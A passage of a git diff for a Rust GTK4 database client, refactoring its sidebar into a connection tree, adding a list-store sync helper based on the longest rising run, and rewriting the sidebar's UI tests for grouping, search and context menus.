+        let previous = match self.model.show(worked_out) {
+            Ok(previous) => previous,
+            Err(overtaken) => {
+                self.release(overtaken);
+                return;
+            }
+        };
+        let observers: Vec<RowsObserver> = self
+            .observers
+            .borrow()
+            .iter()
+            .map(|(_, observer)| observer.clone())
+            .collect();
+        for observer in observers {
+            observer();
         }
-        self.reselect();
-        // An empty list replacing an empty list changes no item, so the
-        // list's signal never says the placeholder is out of date.
-        self.refresh_placeholder();
+        // After the observers: the tree lets go of the lists of what an
+        // older search found, which hold the index too.
         if !Arc::ptr_eq(&previous, &self.model.shown_index()) {
             self.release(previous);
         }
@@ -481,44 +309,6 @@ impl SidebarInner {
             drop(tasks.spawn_blocking_task(move || drop(unused)));
         }
     }
-
-    fn reselect(&self) {
-        self.model.select(self.active.borrow().as_ref());
-    }
-
-    fn refresh_placeholder(&self) {
-        if self.model.shown() > 0 || !self.listed.get() {
-            self.root.set_visible_child_name(LIST_PAGE);
-            return;
-        }
-        let keys = self.keys.get();
-        let collections = self.collections.get();
-        if self.model.has_query() || (keys && self.searched.get()) {
-            self.empty.set_icon_name(Some(crate::ui::icons::SYSTEM_SEARCH));
-            self.empty.set_title(&match (keys, collections) {
-                (true, _) => crate::i18n::gettext("No Matching Keys"),
-                (false, true) => crate::i18n::gettext("No Matching Collections"),
-                (false, false) => crate::i18n::gettext("No Matching Tables"),
-            });
-            self.empty
-                .set_description(Some(&crate::i18n::gettext("Try a different search.")));
-        } else {
-            self.empty.set_icon_name(Some(crate::ui::icons::VIEW_GRID));
-            self.empty.set_title(&match (keys, collections) {
-                (true, _) => crate::i18n::gettext("No Keys"),
-                (false, true) => crate::i18n::gettext("No Collections"),
-                (false, false) => crate::i18n::gettext("No Tables"),
-            });
-            self.empty.set_description(None);
-        }
-        self.root.set_visible_child_name(EMPTY_PAGE);
-    }
-
-    fn remember(&self, object: &impl IsA<glib::Object>, handler: glib::SignalHandlerId) {
-        self.handlers
-            .borrow_mut()
-            .push((object.upcast_ref::<glib::Object>().downgrade(), handler));
-    }
 }
 
 /// Work out the rows on the blocking threads, then show them unless a
@@ -576,49 +366,4 @@ fn install_actions(inner: &Rc<SidebarInner>) {
         }
     });
     inner.actions.add_action(&diagram);
-    let menu = gio::SimpleAction::new(CONTEXT_MENU, None);
-    let view = Rc::downgrade(inner);
-    menu.connect_activate(move |_, _| {
-        if let Some(view) = view.upgrade() {
-            view.popup_keyboard_menu();
-        }
-    });
-    inner.actions.add_action(&menu);
-}
-
-fn connect_view(inner: &Rc<SidebarInner>) {
-    let view: Weak<SidebarInner> = Rc::downgrade(inner);
-    let handler = inner.list_view.connect_activate(move |_, position| {
-        if let Some(view) = view.upgrade() {
-            view.activate(position);
-        }
-    });
-    inner.remember(&inner.list_view, handler);
-    let view = Rc::downgrade(inner);
-    let handler = inner.model.selection().connect_items_changed(move |_, _, _, _| {
-        if let Some(view) = view.upgrade() {
-            view.refresh_placeholder();
-        }
-    });
-    inner.remember(inner.model.selection(), handler);
-    let hover = gtk::EventControllerMotion::new();
-    let view = Rc::downgrade(inner);
-    hover.connect_leave(move |_| {
-        if let Some(view) = view.upgrade() {
-            view.reselect();
-        }
-    });
-    inner.list_view.add_controller(hover.clone());
-    inner.hover.replace(Some(hover));
-}
-
-fn bounds_in(widget: &impl IsA<gtk::Widget>, target: &gtk::ListView) -> Option<gdk::Rectangle> {
-    widget.compute_bounds(target).map(|bounds| {
-        gdk::Rectangle::new(
-            bounds.x() as i32,
-            bounds.y() as i32,
-            bounds.width() as i32,
-            bounds.height() as i32,
-        )
-    })
 }
diff --git a/linux/crates/app/src/ui/workspace/sidebar/store_sync.rs b/linux/crates/app/src/ui/workspace/sidebar/store_sync.rs
new file mode 100644
index 0000000000..6d57bc60d7
--- /dev/null
+++ b/linux/crates/app/src/ui/workspace/sidebar/store_sync.rs
@@ -0,0 +1,237 @@
+use std::collections::{HashMap, HashSet};
+
+use gtk4::gio;
+use gtk4::glib;
+use gtk4::prelude::*;
+
+/// Make `store` hold `desired`, in order, each object once. The objects
+/// that keep their order stay where they are, and only the others are
+/// taken out and put back: a tree row taken out folds, so a store write
+/// that changes one row leaves every other row open. Each change only
+/// removes or only adds, so a list view never looks through added rows
+/// for the rows it tracks.
+pub(super) fn sync<T: IsA<glib::Object>>(store: &gio::ListStore, desired: &[T]) {
+    let wanted: HashMap<glib::Object, usize> = desired
+        .iter()
+        .enumerate()
+        .map(|(at, object)| (object.upcast_ref::<glib::Object>().clone(), at))
+        .collect();
+    let held: Vec<Option<usize>> = (0..store.n_items())
+        .map(|at| store.item(at).and_then(|object| wanted.get(&object).copied()))
+        .collect();
+    let kept = longest_rising(&held);
+    remove_runs(store, |at| !kept.contains(&at));
+    // What is left is in the wanted order, so a wanted object that is not
+    // next is missing, and goes in with the missing ones beside it.
+    let mut position = 0;
+    let mut pending: Vec<glib::Object> = Vec::new();
+    for object in desired {
+        let object = object.upcast_ref::<glib::Object>();
+        if store.item(position).as_ref() != Some(object) {
+            pending.push(object.clone());
+            continue;
+        }
+        if !pending.is_empty() {
+            store.splice(position, 0, &pending);
+            position += u32::try_from(pending.len()).unwrap_or(u32::MAX);
+            pending.clear();
+        }
+        position += 1;
+    }
+    if !pending.is_empty() {
+        store.splice(position, 0, &pending);
+    }
+}
+
+/// Make `store` hold `desired` in two changes at most: every object from
+/// the first that differs to the last goes out in one, and the new ones
+/// go in with the other. GtkListView rebuilds the rows around its scroll
+/// position on each change, so a search that changes a hundred schemas'
+/// results costs two rebuilds rather than a hundred.
+pub(super) fn replace<T: IsA<glib::Object>>(store: &gio::ListStore, desired: &[T]) {
+    let held: Vec<glib::Object> = (0..store.n_items()).filter_map(|at| store.item(at)).collect();
+    let desired: Vec<glib::Object> = desired.iter().map(|object| object.upcast_ref().clone()).collect();
+    let same = |(held, desired): (&glib::Object, &glib::Object)| held == desired;
+    let first = held.iter().zip(&desired).take_while(|pair| same(*pair)).count();
+    let last = held[first..]
+        .iter()
+        .rev()
+        .zip(desired[first..].iter().rev())
+        .take_while(|pair| same(*pair))
+        .count();
+    let position = u32::try_from(first).unwrap_or(u32::MAX);
+    let removed = held.len() - first - last;
+    if removed > 0 {
+        store.splice(
+            position,
+            u32::try_from(removed).unwrap_or(u32::MAX),
+            &[] as &[glib::Object],
+        );
+    }
+    let added = &desired[first..desired.len() - last];
+    if !added.is_empty() {
+        store.splice(position, 0, added);
+    }
+}
+
+/// Take out every object at a position `gone` names, a run at a time
+/// from the end, so each run is one change.
+fn remove_runs(store: &gio::ListStore, gone: impl Fn(u32) -> bool) {
+    let mut end = store.n_items();
+    while end > 0 {
+        if !gone(end - 1) {
+            end -= 1;
+            continue;
+        }
+        let mut start = end - 1;
+        while start > 0 && gone(start - 1) {
+            start -= 1;
+        }
+        store.splice(start, end - start, &[] as &[glib::Object]);
+        end = start;
+    }
+}
+
+/// The positions of the longest run of held objects whose wanted places
+/// rise, the ones that can stay. An object not wanted is never kept.
+fn longest_rising(held: &[Option<usize>]) -> HashSet<u32> {
+    // tails[k] is the position whose wanted place ends the best rising
+    // run of length k + 1 found so far.
+    let mut tails: Vec<usize> = Vec::new();
+    let mut before: Vec<Option<usize>> = vec![None; held.len()];
+    for (at, place) in held.iter().enumerate() {
+        let Some(place) = *place else {
+            continue;
+        };
+        let length = tails.partition_point(|&tail| held[tail].is_some_and(|held| held < place));
+        before[at] = length.checked_sub(1).map(|previous| tails[previous]);
+        if length == tails.len() {
+            tails.push(at);
+        } else {
+            tails[length] = at;
+        }
+    }
+    let mut kept = HashSet::new();
+    let mut current = tails.last().copied();
+    while let Some(at) = current {
+        kept.insert(u32::try_from(at).unwrap_or(u32::MAX));
+        current = before[at];
+    }
+    kept
+}
+
+#[cfg(test)]
+mod tests {
+    use std::cell::RefCell;
+    use std::rc::Rc;
+
+    use super::*;
+
+    fn objects(count: usize) -> Vec<gtk4::StringObject> {
+        (0..count).map(|at| gtk4::StringObject::new(&at.to_string())).collect()
+    }
+
+    fn store_of(items: &[gtk4::StringObject]) -> gio::ListStore {
+        let store = gio::ListStore::new::<gtk4::StringObject>();
+        store.extend_from_slice(items);
+        store
+    }
+
+    fn held(store: &gio::ListStore) -> Vec<String> {
+        (0..store.n_items())
+            .filter_map(|at| store.item(at).and_downcast::<gtk4::StringObject>())
+            .map(|object| object.string().to_string())
+            .collect()
+    }
+
+    fn changes(store: &gio::ListStore) -> Rc<RefCell<Vec<(u32, u32, u32)>>> {
+        let seen = Rc::new(RefCell::new(Vec::new()));
+        let log = seen.clone();
+        store.connect_items_changed(move |_, position, removed, added| {
+            log.borrow_mut().push((position, removed, added));
+        });
+        seen
+    }
+
+    #[gtk4::test]
+    fn a_replace_takes_out_and_puts_in_one_run() {
+        let all = objects(6);
+        let store = store_of(&all[..4]);
+        let seen = changes(&store);
+
+        replace(
+            &store,
+            &[all[0].clone(), all[4].clone(), all[2].clone(), all[5].clone()],
+        );
+        replace(
+            &store,
+            &[all[0].clone(), all[4].clone(), all[2].clone(), all[5].clone()],
+        );
+
+        assert_eq!(held(&store), ["0", "4", "2", "5"]);
+        assert_eq!(*seen.borrow(), [(1, 3, 0), (1, 0, 3)]);
+    }
+
+    #[gtk4::test]
+    fn one_object_moving_moves_only_that_object() {
+        let all = objects(5);
+        let store = store_of(&all);
+        let seen = changes(&store);
+
+        sync(
+            &store,
+            &[
+                all[1].clone(),
+                all[2].clone(),
+                all[3].clone(),
+                all[0].clone(),
+                all[4].clone(),
+            ],
+        );
+
+        assert_eq!(held(&store), ["1", "2", "3", "0", "4"]);
+        assert_eq!(
+            *seen.borrow(),
+            [(0, 1, 0), (3, 0, 1)],
+            "the rows that kept their order moved"
+        );
+    }
+
+    #[gtk4::test]
+    fn each_change_only_removes_or_only_adds() {
+        let all = objects(6);
+        let store = store_of(&all[..4]);
+        let seen = changes(&store);
+
+        sync(
+            &store,
+            &[all[4].clone(), all[0].clone(), all[3].clone(), all[5].clone()],
+        );
+
+        assert_eq!(held(&store), ["4", "0", "3", "5"]);
+        assert!(
+            seen.borrow()
+                .iter()
+                .all(|&(_, removed, added)| removed == 0 || added == 0),
+            "{:?}",
+            seen.borrow()
+        );
+        sync(
+            &store,
+            &[all[4].clone(), all[0].clone(), all[3].clone(), all[5].clone()],
+        );
+        assert_eq!(seen.borrow().len(), 3, "an unchanged store changed");
+    }
+
+    #[gtk4::test]
+    fn an_emptied_store_and_a_filled_one_are_one_change_each() {
+        let all = objects(3);
+        let store = store_of(&all);
+        let seen = changes(&store);
+
+        sync(&store, &[] as &[gtk4::StringObject]);
+        sync(&store, &all);
+
+        assert_eq!(*seen.borrow(), [(0, 3, 0), (0, 0, 3)]);
+    }
+}
diff --git a/linux/crates/app/src/ui/workspace/sidebar/tests.rs b/linux/crates/app/src/ui/workspace/sidebar/tests.rs
index ab82e5fe7c..8edc078a7f 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/tests.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/tests.rs
@@ -1,5 +1,6 @@
 use std::cell::RefCell;
 use std::rc::Rc;
+use std::sync::Arc;
 use std::time::Duration;
 
 use gtk4 as gtk;
@@ -7,20 +8,69 @@ use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use gtk4::{gdk, gio, glib};
 use libadwaita as adw;
-use tablepro_core::DriverError;
-use tablepro_core::meta::{ObjectInfo, ObjectKind, ObjectScope, SchemaInfo, TableRef};
+use tablepro_core::meta::{KeyKind, ObjectInfo, ObjectKind, ObjectScope, SchemaInfo, TableRef};
+use tablepro_core::{DriverError, DriverRegistry};
+use tablepro_session::SessionKey;
+use tablepro_storage::{
+    ConnectionColor, ConnectionGroupName, ConnectionStore, ConnectionTagName, SavedConnection, StoragePaths,
+};
 use tablepro_test_support::FakeReply;
+use uuid::Uuid;
 
+use super::connection_tree::{Pane, TreeInner, Which};
 use super::object_key::ObjectKey;
 use super::sidebar_event::SidebarEvent;
+use super::sidebar_object::SidebarObject;
+use super::tree_node::TreeNode;
+use super::tree_row::TreeRow;
 use super::*;
+use crate::services::saved_connection_list::SavedConnectionList;
 use crate::test_support::{descendants, drain_main_context, test_runtime, wait_until};
 use crate::ui::session_window::tests::{TestWindow, WAIT};
 use crate::ui::workspace::WorkspaceTab;
 use crate::ui::workspace::tab_spec::{TabSpec, TablePage};
 
+/// How many tables `view` lists, searched for or not.
+pub(crate) fn listed(view: &SidebarView) -> u32 {
+    count_rows(&view.schemas(), TreeNode::children)
+}
+
+/// How many tables the search found in `view`.
+pub(crate) fn found(view: &SidebarView) -> u32 {
+    count_rows(&view.schemas(), TreeNode::found)
+}
+
+fn count_rows(schemas: &gio::ListModel, rows: fn(&TreeNode) -> Option<gio::ListModel>) -> u32 {
+    (0..schemas.n_items())
+        .filter_map(|at| schemas.item(at).and_downcast::<TreeNode>())
+        .filter_map(|node| rows(&node))
+        .map(|list| list.n_items())
+        .sum()
+}
+
+/// How many rows the lists of what the search found made.
+fn made_found(view: &SidebarView) -> usize {
+    let schemas = view.schemas();
+    (0..schemas.n_items())
+        .filter_map(|at| schemas.item(at).and_downcast::<TreeNode>())
+        .filter_map(|node| node.found_rows())
+        .map(|list| list.imp().objects.borrow().iter().flatten().count())
+        .sum()
+}
+
+/// How many row widgets the list `list_view` built.
+fn built(list_view: &gtk::ListView) -> usize {
+    descendants(list_view)
+        .into_iter()
+        .filter(|widget| widget.is::<TreeRow>())
+        .count()
+}
+
 type Events = Rc<RefCell<Vec<SidebarEvent>>>;
 
+/// The window and picker actions the tree fired, with their targets.
+type Fired = Rc<RefCell<Vec<(String, Option<String>)>>>;
+
 fn object(schema: &str, name: &str) -> ObjectInfo {
     ObjectInfo {
         schema: Some(schema.to_owned()),
@@ -54,58 +104,267 @@ fn every_affordance() -> SidebarAffordances {
     }
 }
 
-/// A sidebar in a window of its own, with what it sent.
+fn names(count: usize) -> Vec<String> {
+    (0..count).map(|index| format!("t{index:05}")).collect()
+}
+
+fn connection(name: &str, group: Option<&str>) -> SavedConnection {
+    SavedConnection {
+        id: Uuid::new_v4(),
+        name: name.to_owned(),
+        driver_id: "postgres".to_owned(),
+        host: "db".to_owned(),
+        port: 5432,
+        database: "app".to_owned(),
+        username: "postgres".to_owned(),
+        tls: tablepro_core::TlsConfig::verify_full(),
+        safe_mode: tablepro_core::SafeModeLevel::Off,
+        external_access: tablepro_core::ExternalAccess::ReadOnly,
+        ai_policy: tablepro_core::AiPolicy::Ask,
+        auth_mode: tablepro_core::AuthMode::Password,
+        ssh: None,
+        last_opened_at: None,
+        color: None,
+        group: group.map(|group| ConnectionGroupName::new(group).expect("a group name")),
+        tags: Vec::new(),
+        icon: None,
+        options: Default::default(),
+    }
+}
+
+/// A session's sidebar listing `objects`, with what it sent.
+fn session(objects: &[ObjectInfo], affordances: SidebarAffordances) -> (SidebarView, Events) {
+    let events = Events::default();
+    let sink = events.clone();
+    let view = SidebarView::new(move |event| sink.borrow_mut().push(event), affordances, None);
+    view.show(SidebarIndex::build(objects, &public()));
+    (view, events)
+}
+
+fn tables(view: &SidebarView, names: &[&str]) {
+    let objects: Vec<ObjectInfo> = names.iter().map(|name| object("public", name)).collect();
+    view.show(SidebarIndex::build(&objects, &public()));
+}
+
+/// The tree in a window of its own, over a store of saved connections,
+/// with the window's and the picker's actions recording what reached
+/// them.
 struct Shown {
-    view: SidebarView,
-    events: Events,
-    window: gtk::Window,
+    _dir: tempfile::TempDir,
+    store: ConnectionStore,
+    list: Rc<SavedConnectionList>,
+    tree: ConnectionTree,
+    entry: gtk::SearchEntry,
+    window: gtk::ApplicationWindow,
+    fired: Fired,
 }
 
 impl Shown {
-    fn new(names: &[&str], affordances: SidebarAffordances) -> Self {
+    fn new(connections: &[SavedConnection]) -> Self {
         adw::init().expect("libadwaita initialises under the test backend");
-        let events = Events::default();
-        let sink = events.clone();
-        let view = SidebarView::new(move |event| sink.borrow_mut().push(event), affordances, None);
-        let objects: Vec<ObjectInfo> = names.iter().map(|name| object("public", name)).collect();
-        view.apply_objects(&objects, &public());
-        let window = gtk::Window::new();
-        window.set_default_size(300, 400);
-        window.set_child(Some(view.widget()));
+        let dir = tempfile::tempdir().expect("a temporary directory");
+        let store = ConnectionStore::new(&StoragePaths::under(dir.path(), "tablepro", crate::config::APP_ID));
+        let list = SavedConnectionList::follow(&store, Arc::new(DriverRegistry::new()));
+        for saved in connections {
+            store.upsert_blocking(saved.clone()).expect("save the connection");
+        }
+        wait_until(WAIT, || list.model().n_items() as usize == connections.len()).expect("the list to have them");
+        let tree = ConnectionTree::new(list.clone());
+        let entry = gtk::SearchEntry::new();
+        entry.set_search_delay(0);
+        tree.follow_search(&entry);
+        let fired = Fired::default();
+        let window = gtk::ApplicationWindow::builder()
+            .default_width(300)
+            .default_height(600)
+            .build();
+        for name in [
+            "show-session",
+            "disconnect-session",
+            "stop-connecting",
+            "new-query-in",
+            "refresh-in",
+            "show-connect-failure",
+            "forget-connect-failure",
+        ] {
+            window.add_action(&recording(name, &fired, "win"));
+        }
+        let picker = gio::SimpleActionGroup::new();
+        picker.add_action(&recording("connect", &fired, "picker"));
+        let content = gtk::Box::new(gtk::Orientation::Vertical, 0);
+        content.insert_action_group("picker", Some(&picker));
+        content.append(&entry);
+        content.append(&tree.widget());
+        window.set_child(Some(&content));
         window.present();
         drain_main_context();
-        Self { view, events, window }
+        Self {
+            _dir: dir,
+            store,
+            list,
+            tree,
+            entry,
+            window,
+            fired,
+        }
+    }
+
+    fn inner(&self) -> &TreeInner {
+        &self.tree.inner
+    }
+
+    /// The list on screen.
+    fn pane(&self) -> &Pane {
+        let inner = self.inner();
+        match self.which() {
+            Which::Found => &inner.found,
+            Which::Tree => &inner.tree,
+        }
+    }
+
+    /// Which list shows.
+    fn which(&self) -> Which {
+        if self.inner().root.visible_child_name().as_deref() == Some("found") {
+            Which::Found
+        } else {
+            Which::Tree
+        }
+    }
+
+    /// Each row's name, in order, of the list on screen.
+    fn rows(&self) -> Vec<String> {
+        let selection = &self.pane().selection;
+        (0..selection.n_items())
+            .filter_map(|position| selection.item(position))
+            .filter_map(|item| item_title(&item))
+            .collect()
+    }
+
+    /// The tree's row named `name`.
+    fn row(&self, name: &str) -> gtk::TreeListRow {
+        let rows = &self.inner().rows;
+        (0..rows.n_items())
+            .filter_map(|position| rows.row(position))
+            .find(|row| item_title(row.upcast_ref()).as_deref() == Some(name))
+            .unwrap_or_else(|| panic!("no row named {name}: {:?}", self.rows()))
+    }
+
+    /// Where the list on screen shows `name`.
+    fn position(&self, name: &str) -> u32 {
+        let rows = self.rows();
+        let at = rows
+            .iter()
+            .position(|row| row == name)
+            .unwrap_or_else(|| panic!("no row named {name}: {rows:?}"));
+        u32::try_from(at).unwrap_or(u32::MAX)
+    }
+
+    fn selected(&self) -> Option<String> {
+        self.pane().selection.selected_item().and_then(|item| item_title(&item))
+    }
+
+    /// Open the menu of the row named `name` in the list on screen.
+    fn menu(&self, name: &str) {
+        self.inner().popup_menu(self.which(), self.position(name), None);
+    }
+
+    /// The headings over the sections of what the search finds.
+    fn headings(&self) -> Vec<String> {
+        descendants(&self.inner().found.list_view)
+            .into_iter()
+            .filter(|widget| widget.css_name() == "header" && widget.is_mapped())
+            .filter_map(|header| header.first_child().and_downcast::<gtk::Label>())
+            .map(|title| title.label().to_string())
+            .collect()
+    }
+
+    fn says_nothing_found(&self) -> bool {
+        self.inner().root.visible_child_name().as_deref() == Some("nothing")
+    }
+
+    fn open(&self, saved: &SavedConnection, view: &SidebarView) -> SessionKey {
+        let key = SessionKey::Saved(saved.id);
+        self.tree.add_session(&key, &saved.name, view);
+        key
     }
 
-    fn list_view(&self) -> gtk::ListView {
-        self.view.inner().list_view.clone()
+    /// What typing `text` sends once the user pauses.
+    fn search(&self, text: &str) {
+        self.entry.set_text(text);
+        self.entry.emit_by_name::<()>("search-changed", &[]);
     }
 
-    fn selection(&self) -> gtk::SingleSelection {
-        self.list_view()
-            .model()
-            .and_downcast::<gtk::SingleSelection>()
-            .expect("a single selection")
+    fn activate(&self, name: &str) {
+        let position = self.position(name);
+        self.pane().list_view.emit_by_name::<()>("activate", &[&position]);
+    }
+
+    fn fired(&self) -> Vec<(String, Option<String>)> {
+        self.fired.take()
     }
 
     fn popover(&self) -> gtk::PopoverMenu {
-        self.view.inner().popover.clone()
+        self.inner().popover.clone()
     }
 
-    fn taken(&self) -> Vec<SidebarEvent> {
-        self.events.take()
+    /// The bound row widget showing `name`.
+    fn row_widget(&self, name: &str) -> TreeRow {
+        wait_until(WAIT, || bound_row(&self.pane().list_view, name).is_some()).expect("the row on screen");
+        bound_row(&self.pane().list_view, name).unwrap_or_else(|| panic!("{name} is not on screen"))
+    }
+
+    fn write(&self, saved: &SavedConnection) {
+        self.store.upsert_blocking(saved.clone()).expect("the write");
+        wait_until(WAIT, || self.list.get(saved.id).as_ref() == Some(saved)).expect("the list to publish it");
+        drain_main_context();
     }
 }
 
 impl Drop for Shown {
     fn drop(&mut self) {
-        self.view.shutdown();
+        self.tree.shutdown();
         self.window.destroy();
         drain_main_context();
     }
 }
 
-/// Each menu item's action and target, sections flattened.
+fn recording(name: &'static str, fired: &Fired, group: &'static str) -> gio::SimpleAction {
+    let action = gio::SimpleAction::new(name, Some(glib::VariantTy::STRING));
+    let sink = fired.clone();
+    action.connect_activate(move |_, target| {
+        sink.borrow_mut().push((
+            format!("{group}.{name}"),
+            target.and_then(|target| target.get::<String>()),
+        ));
+    });
+    action
+}
+
+/// The name of a row's table or node, under the tree's row or as the
+/// search's list holds it.
+fn item_title(item: &glib::Object) -> Option<String> {
+    let item = match item.downcast_ref::<gtk::TreeListRow>() {
+        Some(row) => row.item()?,
+        None => item.clone(),
+    };
+    if let Some(object) = item.downcast_ref::<SidebarObject>() {
+        return Some(object.name());
+    }
+    item.downcast_ref::<TreeNode>().map(TreeNode::title)
+}
+
+fn bound_row(list_view: &gtk::ListView, name: &str) -> Option<TreeRow> {
+    descendants(list_view)
+        .into_iter()
+        .filter_map(|widget| widget.downcast::<TreeRow>().ok())
+        .find(|row| row.imp().name.label() == name && row.is_mapped())
+}
+
+fn target(key: &SessionKey) -> Option<String> {
+    crate::ui::session_target::to_variant(key).get::<String>()
+}
+
+/// Each menu item's action and target, sections and submenus flattened.
 fn menu_items(menu: &gio::MenuModel) -> Vec<(String, Option<glib::Variant>)> {
     let mut found = Vec::new();
     for index in 0..menu.n_items() {
@@ -115,121 +374,457 @@ fn menu_items(menu: &gio::MenuModel) -> Vec<(String, Option<glib::Variant>)> {
         {
             found.push((action, menu.item_attribute_value(index, "target", None)));
         }
-        if let Some(section) = menu.item_link(index, "section") {
-            found.extend(menu_items(&section));
+        for link in ["section", "submenu"] {
+            if let Some(linked) = menu.item_link(index, link) {
+                found.extend(menu_items(&linked));
+            }
         }
     }
     found
 }
 
-fn names(count: usize) -> Vec<String> {
-    (0..count).map(|index| format!("t{index:05}")).collect()
+fn menu_actions(popover: &gtk::PopoverMenu) -> Vec<String> {
+    popover
+        .menu_model()
+        .map(|menu| menu_items(&menu).into_iter().map(|(action, _)| action).collect())
+        .unwrap_or_default()
 }
 
-/// The placeholder's title and description, when it shows.
-fn placeholder(view: &SidebarView) -> Option<(String, Option<String>)> {
-    view.widget()
-        .visible_child()
-        .and_downcast::<adw::StatusPage>()
-        .map(|page| {
-            (
-                page.title().to_string(),
-                page.description()
-                    .filter(|text| !text.is_empty())
-                    .map(|text| text.to_string()),
-            )
-        })
+/// The table the open menu acts on, if a menu is open.
+fn menu_table(popover: &gtk::PopoverMenu) -> Option<ObjectKey> {
+    if !popover.is_visible() {
+        return None;
+    }
+    let (_, target) = menu_items(&popover.menu_model()?).into_iter().next()?;
+    target.as_ref().and_then(ObjectKey::from_variant)
+}
+
+#[gtk4::test]
+fn the_tree_lists_connections_as_the_picker_groups_them() {
+    let shown = Shown::new(&[
+        connection("Alpha", Some("Work")),
+        connection("zeta", None),
+        connection("Beta", None),
+        connection("Gamma", Some("Home")),
+        connection("Delta", Some("work")),
+    ]);
+
+    assert_eq!(shown.rows(), ["Beta", "zeta", "Home", "Work", "work"]);
+    shown.activate("Work");
+    assert_eq!(shown.rows(), ["Beta", "zeta", "Home", "Work", "Alpha", "work"]);
+    assert!(
+        !shown.row("Beta").is_expandable(),
+        "a closed connection has an expander"
+    );
+}
+
+#[gtk4::test]
+fn a_store_write_keeps_the_other_open_connections_open() {
+    let (alpha, beta, gamma) = (
+        connection("Alpha", None),
+        connection("Beta", None),
+        connection("Gamma", None),
+    );
+    let shown = Shown::new(&[alpha.clone(), beta.clone(), gamma.clone()]);
+    let (beta_view, _) = session(
+        &[object("public", "orders"), object("sales", "leads")],
+        every_affordance(),
+    );
+    let (gamma_view, _) = session(&[object("public", "users")], every_affordance());
+    shown.open(&beta, &beta_view);
+    shown.open(&gamma, &gamma_view);
+    shown.row("public").set_expanded(true);
+    shown.row("sales").set_expanded(true);
+    let before = shown.rows();
+    assert!(before.contains(&"leads".to_owned()), "{before:?}");
+
+    let mut stamped = alpha.clone();
+    stamped.last_opened_at = Some(chrono::Utc::now());
+    shown.write(&stamped);
+    assert_eq!(shown.rows(), before, "the stamp folded a connection after it");
+
+    let mut renamed = beta.clone();
+    renamed.name = "Zulu".to_owned();
+    shown.write(&renamed);
+    let after = shown.rows();
+    assert_eq!(after.first().map(String::as_str), Some("Alpha"));
+    let zulu = after.iter().position(|name| name == "Zulu").expect("the renamed row");
+    assert_eq!(
+        after[zulu..],
+        ["Zulu", "public", "orders", "sales", "leads"],
+        "the moved row came back folded"
+    );
+}
+
+#[gtk4::test]
+fn a_connection_shows_its_colour() {
+    let mut red = connection("Production", None);
+    red.color = Some(ConnectionColor::Red);
+    let shown = Shown::new(&[red.clone(), connection("Staging", None)]);
+
+    let icon = shown.row_widget("Production").imp().icon.clone();
+    assert!(icon.has_css_class("tp-connection-icon") && icon.has_css_class("tp-tag-red"));
+    assert!(
+        !shown
+            .row_widget("Staging")
+            .imp()
+            .icon
+            .has_css_class("tp-connection-icon")
+    );
+
+    let mut blue = red;
+    blue.color = Some(ConnectionColor::Blue);
+    shown.write(&blue);
+    assert!(icon.has_css_class("tp-tag-blue") && !icon.has_css_class("tp-tag-red"));
+}
+
+#[gtk4::test]
+fn a_search_finds_connections_by_tag_host_and_group() {
+    let shown = Shown::new(&[connection("Delta", None)]);
+    let tag = shown
+        .store
+        .create_tag_blocking(
+            ConnectionTagName::new("production").expect("a tag name"),
+            ConnectionColor::Red,
+        )
+        .expect("the tag");
+    let mut tagged = connection("Alpha", None);
+    tagged.tags = vec![tag.id];
+    let mut hosted = connection("Beta", None);
+    hosted.host = "db.acme.example".to_owned();
+    for saved in [tagged, hosted, connection("Gamma", Some("Clients"))] {
+        shown.write(&saved);
+    }
+
+    shown.search("PRODUCTION");
+    assert_eq!(shown.rows(), ["Alpha"]);
+    shown.search("acme");
+    assert_eq!(shown.rows(), ["Beta"]);
+    shown.search("clients");
+    assert_eq!(shown.rows(), ["Gamma"]);
+    assert_eq!(shown.headings(), ["Connections"]);
+    shown.search("nothing like it");
+    assert!(shown.says_nothing_found());
 }
 
 #[gtk4::test]
-fn empty_filter_shows_placeholder() {
-    let shown = Shown::new(&["orders", "users"], every_affordance());
-    assert_eq!(placeholder(&shown.view), None, "a list with rows shows its placeholder");
+fn a_search_lists_the_tables_it_finds_under_their_schema_and_connection() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(&[alpha.clone(), connection("Beta", None)]);
+    let (view, _) = session(
+        &[object("public", "orders"), object("public", "users")],
+        every_affordance(),
+    );
+    shown.open(&alpha, &view);
+    assert_eq!(shown.rows(), ["Alpha", "public", "orders", "users", "Beta"]);
+
+    shown.search("ord");
+
+    wait_until(WAIT, || shown.rows() == ["orders"]).expect("only the table it finds");
+    wait_until(WAIT, || shown.headings() == ["public (Alpha)"]).expect("the table's schema and connection");
+    shown.search("alpha");
+    assert_eq!(shown.rows(), ["Alpha"], "a table counted as a connection");
+}
+
+#[gtk4::test]
+fn a_session_joining_under_a_search_lists_only_what_it_finds() {
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(&[alpha.clone(), connection("Beta", None)]);
+    shown.search("ord");
+    assert!(shown.says_nothing_found(), "a connection named so");
+
+    let (view, _) = session(
+        &[object("public", "orders"), object("public", "users")],
+        every_affordance(),
+    );
+    shown.open(&alpha, &view);
 
-    shown.view.set_query("nothing like it");
+    assert_eq!(shown.rows(), ["orders"]);
+    assert!(!shown.says_nothing_found());
+}
+
+#[gtk4::test]
+fn the_search_list_opens_and_offers_the_menus_of_what_it_finds() {
+    let (alpha, beta) = (connection("Alpha", None), connection("Orders Archive", None));
+    let shown = Shown::new(&[alpha.clone(), beta.clone()]);
+    let (view, events) = session(
+        &[object("public", "orders"), object("public", "users")],
+        every_affordance(),
+    );
+    let key = shown.open(&alpha, &view);
+    shown.tree.select(Some(&key), Some(&table("orders")));
+
+    shown.search("ord");
+    assert_eq!(shown.rows(), ["Orders Archive", "orders"]);
     assert_eq!(
-        placeholder(&shown.view),
-        Some((
-            "No Matching Tables".to_owned(),
-            Some("Try a different search.".to_owned())
-        ))
+        shown.selected().as_deref(),
+        Some("orders"),
+        "the table in front lost its row"
     );
+    gtk::prelude::GtkWindowExt::set_focus(&shown.window, None::<&gtk::Widget>);
+    WidgetExt::activate_action(&shown.tree.widget(), "tree.context-menu", None).expect("the action");
+    assert_eq!(menu_table(&shown.popover()), Some(ObjectKey(table("orders"))));
+    shown.popover().popdown();
+    shown.menu("Orders Archive");
+    assert!(menu_actions(&shown.popover()).contains(&"picker.connect".to_owned()));
+    shown.popover().popdown();
+    let inner = shown.inner();
+    assert!(inner.pressed(
+        Which::Found,
+        shown.position("orders"),
